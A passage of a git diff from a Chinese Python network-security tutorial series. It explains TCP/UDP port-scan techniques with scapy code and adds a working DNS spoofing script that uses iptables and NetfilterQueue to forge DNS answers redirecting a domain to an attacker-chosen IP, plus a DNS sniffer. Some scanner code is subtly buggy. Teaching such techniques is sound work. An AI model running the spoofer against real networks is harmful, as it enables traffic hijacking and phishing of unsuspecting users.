\347\253\257\345\217\243\346\211\253\346\217\217/img/13.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/13.jpg" new file mode 100644 index 0000000..8cc21ef Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/13.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/14.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/14.jpg" new file mode 100644 index 0000000..0f86274 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/14.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/15.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/15.jpg" new file mode 100644 index 0000000..28a6728 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/15.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/16.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/16.jpg" new file mode 100644 index 0000000..562fbcf Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/16.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/17.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/17.jpg" new file mode 100644 index 0000000..11d62f2 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/17.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/18.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/18.jpg" new file mode 100644 index 0000000..fe60901 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/18.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/19.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/19.jpg" new file mode 100644 index 0000000..a81a6b4 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/19.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/2.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/2.jpg" new file mode 100644 index 0000000..3e33c62 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/2.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/20.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/20.jpg" new file mode 100644 index 0000000..61423f0 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/20.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/21.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/21.jpg" new file mode 100644 index 0000000..c68acce Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/21.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/22.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/22.jpg" new file mode 100644 index 0000000..b8aead0 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/22.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/23.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/23.jpg" new file mode 100644 index 0000000..34b6c28 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/23.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/24.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/24.jpg" new file mode 100644 index 0000000..4d56453 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/24.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/25.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/25.jpg" new file mode 100644 index 0000000..280d8fc Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/25.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/26.png" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/26.png" new file mode 100644 index 0000000..9ee9c44 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/26.png" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/3.png" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/3.png" new file mode 100644 index 0000000..3af7898 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/3.png" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/4.png" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/4.png" new file mode 100644 index 0000000..a832ffd Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/4.png" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/5.png" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/5.png" new file mode 100644 index 0000000..27f8a89 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/5.png" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/6.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/6.jpg" new file mode 100644 index 0000000..3612573 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/6.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/7.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/7.jpg" new file mode 100644 index 0000000..d3bc39f Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/7.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/8.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/8.jpg" new file mode 100644 index 0000000..9e075e3 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/8.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/9.jpg" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/9.jpg" new file mode 100644 index 0000000..d3bc39f Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/img/9.jpg" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/readme.md" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/readme.md" new file mode 100644 index 0000000..c069c1a --- /dev/null +++ "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/readme.md" @@ -0,0 +1,416 @@ +## 3.7 端口扫描 + +端口扫描是信息搜集重要的一步,因为端口绑定的是服务,比如80一般是web服务,21是ftp,3389是windows远程桌面等等。只有端口开放,才能做进一步的指纹识别。 +端口扫描最常用的工具是nmap,nmap提供了十几种扫描方式,详情可以参考 https://nmap.org/man/zh/man-port-scanning-techniques.html 。 + +本节我们参考nmap的端口扫描原理,来实现我们的自己的端口扫描工具。 + +### 3.7.1 前置知识 + +在动手开发之前,我们还是要重点复习一下协议相关的内容,这样才能真正理解不同端口扫描方式的原理。 + +TCP(Transmission Control Protocol)传输控制协议是一种面向连接的、可靠的、基于字节流的传输层协议。下图是TCP报文格式: +![](img/1.png) + +一个报文段分为首部和数据两部分,几乎TCP所有功能都从首部来体现,首部字段说明如下: + +1. 源端口与目标端口:分别写入源端口号和目标端口号. +2. 32位序列号:也就是我们tcp三次握手中的seq,表示的是我们tcp数据段发送的第一个字节的序号,范围[0,2^32 - 1],例如,我们的seq = 201,携带的数据有100,那么最后一个字节的序号就为300,那么下一个报文段就应该从301开始. +3. 32位确认序列号:也就是ack(假设为y),它的值是seq+1,表示的意义是y之前的数据我都收到了,下一个我期望收到的数据是y.也就是我回过去的seq = y. +4. 首部长度:占4位.也叫数据偏移,因为tcp中的首部中有长度不确定的字段. +5. URG:紧急指针标志位,当URG=1时,表明紧急指针字段有效.它告诉系统中有紧急数据,应当尽快传送,这时不会按照原来的排队序列来传送.而会将紧急数据插入到本报文段数据的最前面. +6. ACK:当ACK=1时,我们的确认序列号ack才有效,当ACK=0时,确认序号ack无效,TCP规定:所有建立连接的ACK必须全部置为1. +7. PSH:推送操作,很少用,没有了解. +8. RST:当RST=1时,表明TCP连接出现严重错误,此时必须释放连接,之后重新连接,又叫重置位. +9. SYN:同步序列号标志位,tcp三次握手中,第一次会将SYN=1,ACK=0,此时表示这是一个连接请求报文段,对方会将SYN=1,ACK=1,表示同意连接,连接完成之后将SYN=0 +10. FIN:在tcp四次挥手时第一次将FIN=1,表示此报文段的发送方数据已经发送完毕,这是一个释放链接的标志. +11. 16位窗口的大小:win的值是作为接收方让发送方设置其发送窗口大小的依据. +12. 紧急指针:只有当URG=1时的时候,紧急指针才有效,它指出紧急数据的字节数. + + +在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接,下图。 + +![](img/2.jpg) + + +结合报文内容,解释如下: + +(1) 第一次握手:建立连接时,客户端A发送SYN包(SYN=j)到服务器B,以及初始序号X,保存在包头的序列号(Sequence Number)字段里,并进入SYN_SEND状态,等待服务器B确认。 + +![](img/3.png) + + (2)第二次握手:服务器B收到SYN包,必须确认客户A的SYN(ACK=j+1),同时自己也发送一个SYN包(SYN=k),即SYN+ACK包,此时服务器B进入SYN_RECV状态。 +![](img/4.png) + + (3) 第三次握手:客户端A收到服务器B的SYN+ACK包,向服务器B发送确认包ACK(ACK=k+1),此包发送完毕,客户端A和服务器B进入ESTABLISHED状态,完成三次握手。 + +![](img/4.png) +(4)完成三次握手,客户端与服务器开始传送数据。 + +TCP建立连接的流程,同学们可以使用我们上一节编写的嗅探程序来捕获TCP建立连接的报文,观察各个字段的值。 + +下面我们新建portScan.py文件,添加如下代码: +```Python +# -*- coding: UTF-8 -*- + +import argparse +from scapy.all import * + + +#打印端口状态 +def print_ports(port, state): + print("%s | %s" % (port, state)) + +def tcpScan(target,ports): + pass +def synScan(target,ports): + pass +def ackScan(target,ports): + pass +def windowScan(target,ports): + pass +def nullScan(target,ports): + pass +def finScan(target,ports): + pass +def xmaxScan(target,ports): + pass + +def udpScan(target,ports): + pass + + +if __name__ == '__main__': + + parser = argparse.ArgumentParser("") + parser.add_argument("-t", "--target", help="目标IP", required=True) + parser.add_argument("-p", "--ports", type=int, nargs="+", help="指定端口列表 (21 23 80 ...)") + parser.add_argument("-s", "--scantype", help=""" + "T":全连接扫描 + "S":syn扫描 + "A":ack扫描 + "W":TCPwindow扫描 + "N":NULL扫描 + "F":FIN扫描 + "X":Xmas扫描 + "U":UDP扫描 + """, required=True) + args = parser.parse_args() + + target = args.target + scantype = args.scantype + if args.ports: + ports = args.ports + else: + ports = range(1, 65535) + + # 扫码方式 + if scantype == "T":#全连接扫描 + pass + elif scantype == "S":#syn扫描 + pass + elif scantype == "A":#ack扫描 + pass + elif scantype == "W":#TCPwindow扫描 + pass + elif scantype == "N":#NULL扫描 + pass + elif scantype == "F":#FIN扫描 + pass + elif scantype == "X":#Xmas扫描 + pass + elif scantype == "U":#UDP扫描 + pass + else: + print("不支持当前模式") + +``` + +上面的代码中我们定义了8种端口扫描方式,要求用户在使用脚本的时候必须指定扫描方式,端口如果不指定会扫描1到65535所有端口的状态。定义了print_ports函数,用来打印端口状态。下面我们依次实现各个扫描方法。 + +### 3.7.2 TCP Connect扫描 +TCP Connect扫描又叫做全连接扫描,客户端与服务器建立 TCP 连接要进行一次三次握手,如果进行了一次成功的三次握手,则说明端口开放。 + +假设客户端想与服务端的80端口进行通信,首先客户端会发送一个带有SYN标识和端口号的TCP数据包给服务器,如果服务器这个端口是开放的,则会接受这个连接并返回一个带有SYN和ACK标识的数据包给客户端,随后客户端会发送带有ACK和RST标识的数据包给服务点,此时客户端与服务器建立了连接。如果端口不开放则会返回一个RST标识的数据包给客户端。 + +![](img/6.jpg) + +当客户端发送一个带有 SYN 标识和端口号的 TCP 数据包给服务器后,如果服务器端返回一个带 RST 标识的数据包,则说明端口处于关闭状态。 + +![](img/7.jpg) + +实现如下: + +```Python +def tcpScan(target,ports): + print("tcp全连接扫描 %s with ports %s" % (target, ports)) + for port in ports: + send=sr1(IP(dst=target)/TCP(dport=port,flags="S"),timeout=2,verbose=0) + if (send is None): + print_ports(port,"closed") + elif send.haslayer("TCP"): + + if send["TCP"].flags == "SA": + send_1 = sr1(IP(dst=target) / TCP(dport=port, flags="AR"), timeout=2, verbose=0) + print_ports(port,"open") + elif send["TCP"].flags == "RA": + print_ports(port,"close") +``` +上面的代码,组合IP和TCP报文,依据三次握手的流程对端口状态做判断。主义TCP标志位的设置和判断。使用scapy发送tcp数据包的时候使用如下简写形式: + +* F : FIN - 结束; 结束会话 +* S : SYN - 同步; 表示开始会话请求 +* R : RST - 复位;中断一个连接 +* P : PUSH - 推送; 数据包立即发送 +* A : ACK - 应答 +* U : URG - 紧急 +* E : ECE - 显式拥塞提醒回应 +* W : CWR - 拥塞窗口减少 + +### 3.7.3 TCP SYN 扫描 + +TCP SYN扫描又称半开式扫描,该过程不会和服务端建立完整的连接,首先客户端会发送一个带有SYN标识和端口号的TCP数据包给服务器,如果服务器这个端口是开放的,则会接受这个连接并返回一个带有SYN和ACK标识的数据包给客户端,随后客户端会返回带有RST标识的数据包而不是返回一个带有ACK和RST标识的数据包。 + +![](img/8.jpg) + +如果目标端口处于关闭状态,则服务端会返回一个RST标识的数据包。 + +![](img/9.jpg) + +实现如下: + +```Python +def synScan(target,ports): + print("tcp全连接扫描 %s with ports %s" % (target, ports)) + for port in ports: + send=sr1(IP(dst=target)/TCP(dport=port,flags="S"),timeout=2,verbose=0) + if (send is None): + print_ports(port,"closed") + elif send.haslayer("TCP"): + print(send["TCP"].flags) + if send["TCP"].flags == "SA": + send_1 = sr1(IP(dst=target) / TCP(dport=port, flags="R"), timeout=2, verbose=0)#只修改这里 + print_ports(port,"opend") + elif send["TCP"].flags == "RA": + print_ports(port,"closed") +``` + +上面的代码实现实现上和全连接扫描区别不大,只是在结束到服务端响应数据包之后直接发送RST包结束连接即可。 + +### 3.7.4 TCP ACK扫描 + +能说明端口是否被过滤。如果你用nmap -sA就会发现他只会返回两种结果unfiltered和filtered,因为nmap -sA就是ACK扫描的。 + +判断端口是否被过滤,分为两种情况: + +1. 发送一个flags为ACK报文,open(开放的)和closed(关闭的) 端口 都会返回RST报文,至于他们是open还是closed状态我们无法确定。不响应的端口,或者发送特定的ICMP错误消息(类型3,代号1,2,3,9,10, 或者13)的端口,标记为 filtered(被过滤的)。大致的流程如下图: + +![](img/10.png) + +上面那种情况下是服务器REJECT掉数据包,所以客户端会有个ICMP包返回,如果是直接DROP掉的话,就会什么也不会返回,所以我们要判断该主机是否存在,因为如果一个主机存在的话,向它发送一个flags为ACK包的话,无论端口是否关闭都会有返回一个flags为RST包,如果是DROP是话就会一个数据包都不会返回,所以我们可以利用这一点去判断端口是否被过滤了,大致流程如下: + +![](img/11.png) + +实现如下: + +```Python +def ackScan(target,ports): + print("tcp ack扫描 %s with ports %s" % (target, ports)) + for port in ports: + ack_flag_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="A"),timeout=5) + print(str(type(ack_flag_scan_resp))) + if (str(type(ack_flag_scan_resp))==""): + print_ports(port,"filtered") + elif(ack_flag_scan_resp.haslayer(TCP)): + if(ack_flag_scan_resp.getlayer(TCP).flags == "R"): + print_ports(port,"unfiltered") + elif(ack_flag_scan_resp.haslayer(ICMP)): + if(int(ack_flag_scan_resp.getlayer(ICMP).type)==3 and int(ack_flag_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): + print_ports(port,"filtered") + else: + print_ports(port,"filtered") +``` + +### 3.7.5 TCP Window扫描 + +TCP 窗口扫描的流程同 ACK 扫描类似,同样是客户端向服务器发送一个带有 ACK 标识和端口号的 TCP 数据包,但是这种扫描能够用于发现目标服务器端口的状态。在 ACK 扫描中返回 RST 表明没有被过滤,但在窗口扫描中,当收到返回的 RST 数据包后,它会检查窗口大小的值。如果窗口大小的值是个非零值,则说明目标端口是开放的。 + +![](img/12.jpg) + +如果返回的 RST 数据包中的窗口大小为0,则说明目标端口是关闭的。 + +![](img/13.jpg) + +实现如下: + +```Python +def windowScan(target,ports): + print("tcp window扫描 %s with ports %s" % (target, ports)) + for port in ports: + window_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="A"),timeout=5) + print(str(type(window_scan_resp))) + if (str(type(window_scan_resp))==""): + print_ports(port,"close") + elif(window_scan_resp.haslayer(TCP)): + if(window_scan_resp.getlayer(TCP).window == 0): + print_ports(port,"close") + elif(window_scan_resp.getlayer(TCP).window > 0): + print_ports(port,"open") + else: + print_ports(port,"close") +``` +windowScan的实现和ACK扫描方式流程基本一致,区别在于判断窗口值。 + +### 3.17.6 TCP Null扫描 + +在空扫描中,客户端发出的 TCP 数据包仅仅只会包含端口号而不会有其他任何的标识信息。如果目标端口是开放的则不会回复任何信息。 + +如果服务器返回了一个 RST(或者RST+ACK) 数据包,则说明目标端口是关闭的。 +![](img/14.jpg) +如果返回 ICMP 错误类型3且代码为1,2,3,9,10或13的数据包,则说明端口被服务器过滤了。 +![](img/15.jpg) + +实现如下: +```Python +def nullScan(target,ports): + print("tcp NULL 扫描 %s with ports %s" % (target, ports)) + for port in ports: + null_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags=""),timeout=5) + if (str(type(null_scan_resp))==""): + print_ports(port,"Open|Filtered") + elif(null_scan_resp.haslayer(TCP)): + if(null_scan_resp.getlayer(TCP).flags == "R" or null_scan_resp.getlayer(TCP).flags == "A"): + print_ports( port,"Closed") + elif(null_scan_resp.haslayer(ICMP)): + if(int(null_scan_resp.getlayer(ICMP).type)==3 and int(null_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): + print_ports(port, "Filtered") +``` + +### 3.17.7 TCP FIN扫描 + +FIN 扫描会向服务器发送带有 FIN 标识和端口号的 TCP 数据包。如果没有服务器端回应则说明端口开放。 + +![](img/16.jpg) + +如果服务器返回一个 RST 数据包,则说明目标端口是关闭的。 + +![](img/17.jpg) + +如果服务器返回了一个 ICMP 数据包,其中包含 ICMP 目标不可达错误类型3以及 ICMP 代码为1,2,3,9,10或13,则说明目标端口被过滤了无法确定端口状态。 + +![](img/18.jpg) + +实现如下: + +```Python +def finScan(target,ports): + print("tcp FIN 扫描 %s with ports %s" % (target, ports)) + for port in ports: + fin_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="F"),timeout=5) + if (str(type(fin_scan_resp))==""): + print_ports(port, "Open|Filtered") + elif(fin_scan_resp.haslayer(TCP)): + if(fin_scan_resp.getlayer(TCP).flags == 0x14): + print_ports(port, "Closed") + elif(fin_scan_resp.haslayer(ICMP)): + if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): + print_ports(port, "Filtered") +``` + +### 3.17.8 TCP 圣诞树(Xmas)扫描 + +在发送的数据包中设置PSH,FIN,URG标志位,如果目标端口是开放的则不会回复任何信息。 +![](img/19.jpg) +如果目标端口关闭则会返回一个RST+ACK的数据包。 +![](img/20.jpg) +但如果服务器返回了一个 ICMP 数据包,其中包含 ICMP 目标不可达错误类型3以及 ICMP 状态码为1,2,3,9,10或13,则说明目标端口被过滤了无法确定是否处于开放状态。 +![](img/21.jpg) + +实现如下: + +```Python +def xmaxScan(target,ports): + print("tcp xmax 扫描 %s with ports %s" % (target, ports)) + for port in ports: + fin_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="FPU"),timeout=5) + if (str(type(fin_scan_resp))==""): + print_ports(port, "Open|Filtered") + elif(fin_scan_resp.haslayer(TCP)): + if(fin_scan_resp.getlayer(TCP).flags == "R"): + print_ports(port, "Closed") + elif(fin_scan_resp.haslayer(ICMP)): + if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): + print_ports(port, "Filtered") +``` + + + +### 3.17.9 UDP 扫描 + +TCP 是面向连接的协议,而UDP则是无连接的协议。 + +面向连接的协议会先在客户端和服务器之间建立通信信道,然后才会开始传输数据。如果客户端和服务器之间没有建立通信信道,则不会有任何产生任何通信数据。 + +无连接的协议则不会事先建立客户端和服务器之间的通信信道,只要客户端到服务器存在可用信道,就会假设目标是可达的然后向对方发送数据。 + +客户端会向服务器发送一个带有端口号的 UDP 数据包。如果服务器回复了 UDP 数据包,则目标端口是开放的。 +![](img/22.jpg) + +如果服务器返回了一个 ICMP 目标不可达的错误和代码3,则意味着目标端口处于关闭状态。 + +![](img/23.jpg) + +如果服务器返回一个 ICMP 错误类型3且代码为1,2,3,9,10或13的数据包,则说明目标端口被服务器过滤了。 + +![](img/24.jpg) + +但如果服务器没有任何相应客户端的 UDP 请求,则可以断定目标端口可能是开放或被过滤的,无法判断端口的最终状态。 + +![](img/25.jpg) + +实现如下: + +```Python +def udpScan(target,ports): + print("UDP 扫描 %s with ports %s" % (target, ports)) + for port in ports: + udp_scan_resp = sr1(IP(dst=target)/UDP(dport=port),timeout=5) + if (str(type(udp_scan_resp))==""): + print_ports(port, "Open|Filtered") + elif(udp_scan_resp.haslayer(UDP)): + if(udp_scan_resp.getlayer(TCP).flags == "R"): + print_ports(port, "Open") + elif(udp_scan_resp.haslayer(ICMP)): + if(int(udp_scan_resp.getlayer(ICMP).type)==3 and int(udp_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): + print_ports(port, "Filtered") +``` + +### 3.17.8 简单测试 + +至此,我们的端口扫描器告一段落,下面进行简单的测试。 +![](img/26.png) + +### 3.17.9 小结 + +本节我们基于scapy实现了8种端口扫描的方式。之所以需要多种方式来实现端口扫描主要有两个原因,一个是提升扫描速度,比如全连接扫描是速度最慢的;第二是由于操作系统的不同或者防火墙的配置等原因,一种扫描方法很难获得准确的结果。本节作业如下: + +1. 学习巩固TCP和UDP协议 +2. 动手实现端口扫描器 + +下一节,我们一同学习DNS毒化攻击。 + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + + 本系列教程全部内容在玄说安全--入门圈发布,并提供答疑和辅导。 + +![](img/00.jpeg) + + + + + + + diff --git a/3.7.pdf b/3.7.pdf new file mode 100644 index 0000000..0e4e6e9 Binary files /dev/null and b/3.7.pdf differ diff --git "a/3.8 DNS\346\254\272\351\252\227/code/dnsSniffer.py" "b/3.8 DNS\346\254\272\351\252\227/code/dnsSniffer.py" new file mode 100644 index 0000000..551ea23 --- /dev/null +++ "b/3.8 DNS\346\254\272\351\252\227/code/dnsSniffer.py" @@ -0,0 +1,14 @@ +# -*- coding: UTF-8 -*- +from scapy.all import * + +scapy.config.conf.sniff_promisc=True #设置混杂模式 + +def packetHandler(pkt): + print(pkt.summary()) + udp = pkt.getlayer(UDP) + print(udp.show()) +if __name__ == '__main__': + dev = "en0" + filter = "udp port 53" + sniff(filter=filter,prn=packetHandler,iface=dev) + diff --git "a/3.8 DNS\346\254\272\351\252\227/code/dnsSpoof.py" "b/3.8 DNS\346\254\272\351\252\227/code/dnsSpoof.py" new file mode 100644 index 0000000..c71a52c --- /dev/null +++ "b/3.8 DNS\346\254\272\351\252\227/code/dnsSpoof.py" @@ -0,0 +1,69 @@ +# -*- coding: UTF-8 -*- + +import argparse +from netfilterqueue import NetfilterQueue +from scapy.all import * +import os + +bannerText=""" +██╗ ██╗██╗ ██╗ █████╗ ███╗ ██╗ ██╗ ██╗██╗ ██╗███╗ ██╗ +╚██╗██╔╝██║ ██║██╔══██╗████╗ ██║ ██║ ██║██║ ██║████╗ ██║ + ╚███╔╝ ██║ ██║███████║██╔██╗ ██║ ███████║██║ ██║██╔██╗ ██║ + ██╔██╗ ██║ ██║██╔══██║██║╚██╗██║ ██╔══██║██║ ██║██║╚██╗██║ +██╔╝ ██╗╚██████╔╝██║ ██║██║ ╚████║ ██║ ██║╚██████╔╝██║ ╚████║ +╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ + +DNS欺骗 by 玄魂工作室 +微信订阅号 : xuanhun521 +Github : https://github.com/xuanhun + """ + + + +from netfilterqueue import NetfilterQueue +from scapy.all import * +import os + + +def packageHandle(packet): + payload = packet.get_payload() + pkt = IP(payload) + + if not pkt.haslayer(DNSQR): + packet.accept() + else: + if domain in pkt[DNS].qd.qname: + spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ + UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ + DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\ + an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=targetIp)) + packet.set_payload(str(spoofed_pkt)) + packet.accept() + else: + packet.accept() + +def main(): + q = NetfilterQueue() + q.bind(1, packageHandle) + try: + q.run() # Main loop + except KeyboardInterrupt: + q.unbind() + os.system('iptables -F') + os.system('iptables -X') + + + +if __name__ == '__main__': + + print(bannerText) + + os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1') + parser = argparse.ArgumentParser("") + parser.add_argument("-d", "--domain", help="目标域名", required=True) + parser.add_argument("-t", "--target", help="虚假ips", required=True) + + args = parser.parse_args() + targetIp = args.target + domain = args.domain + main() \ No newline at end of file diff --git "a/3.8 DNS\346\254\272\351\252\227/img/0.jpg" "b/3.8 DNS\346\254\272\351\252\227/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/0.jpg" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/img/00.jpeg" "b/3.8 DNS\346\254\272\351\252\227/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/00.jpeg" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/img/1.png" "b/3.8 DNS\346\254\272\351\252\227/img/1.png" new file mode 100644 index 0000000..b179486 Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/1.png" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/img/2.png" "b/3.8 DNS\346\254\272\351\252\227/img/2.png" new file mode 100644 index 0000000..07bb900 Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/2.png" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/img/3.png" "b/3.8 DNS\346\254\272\351\252\227/img/3.png" new file mode 100644 index 0000000..75e34f2 Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/3.png" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/img/4.png" "b/3.8 DNS\346\254\272\351\252\227/img/4.png" new file mode 100644 index 0000000..f6cd9d6 Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/4.png" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/img/5.png" "b/3.8 DNS\346\254\272\351\252\227/img/5.png" new file mode 100644 index 0000000..cf85b98 Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/5.png" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/img/6.png" "b/3.8 DNS\346\254\272\351\252\227/img/6.png" new file mode 100644 index 0000000..9d9ea45 Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/6.png" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/img/7.png" "b/3.8 DNS\346\254\272\351\252\227/img/7.png" new file mode 100644 index 0000000..995168c Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/7.png" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/img/8.png" "b/3.8 DNS\346\254\272\351\252\227/img/8.png" new file mode 100644 index 0000000..78d913e Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/8.png" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/img/9.jpg" "b/3.8 DNS\346\254\272\351\252\227/img/9.jpg" new file mode 100644 index 0000000..4d293f3 Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/9.jpg" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/img/9.png" "b/3.8 DNS\346\254\272\351\252\227/img/9.png" new file mode 100644 index 0000000..271feb8 Binary files /dev/null and "b/3.8 DNS\346\254\272\351\252\227/img/9.png" differ diff --git "a/3.8 DNS\346\254\272\351\252\227/readme.md" "b/3.8 DNS\346\254\272\351\252\227/readme.md" new file mode 100644 index 0000000..319aaf3 --- /dev/null +++ "b/3.8 DNS\346\254\272\351\252\227/readme.md" @@ -0,0 +1,21 @@ +## 3.8 DNS欺骗 + +[点击下载本节pdf](https://t.zsxq.com/eAaIuBm) + +下一节,我们一同学习本章的最后一节无线网络嗅探。 + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + + 本系列教程全部内容在玄说安全--入门圈发布,并提供答疑和辅导。 + +![](img/00.jpeg) + + + + + + + diff --git "a/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/code/wlanScan.py" "b/3.9 \346\227\240\347\272\277\346\211\253\346\217\217\345\222\214\345\227\205\346\216\242/code/wlanScan.py" new file mode 100644 index 0000000..518066f --- /dev/null +++ "b/3.9 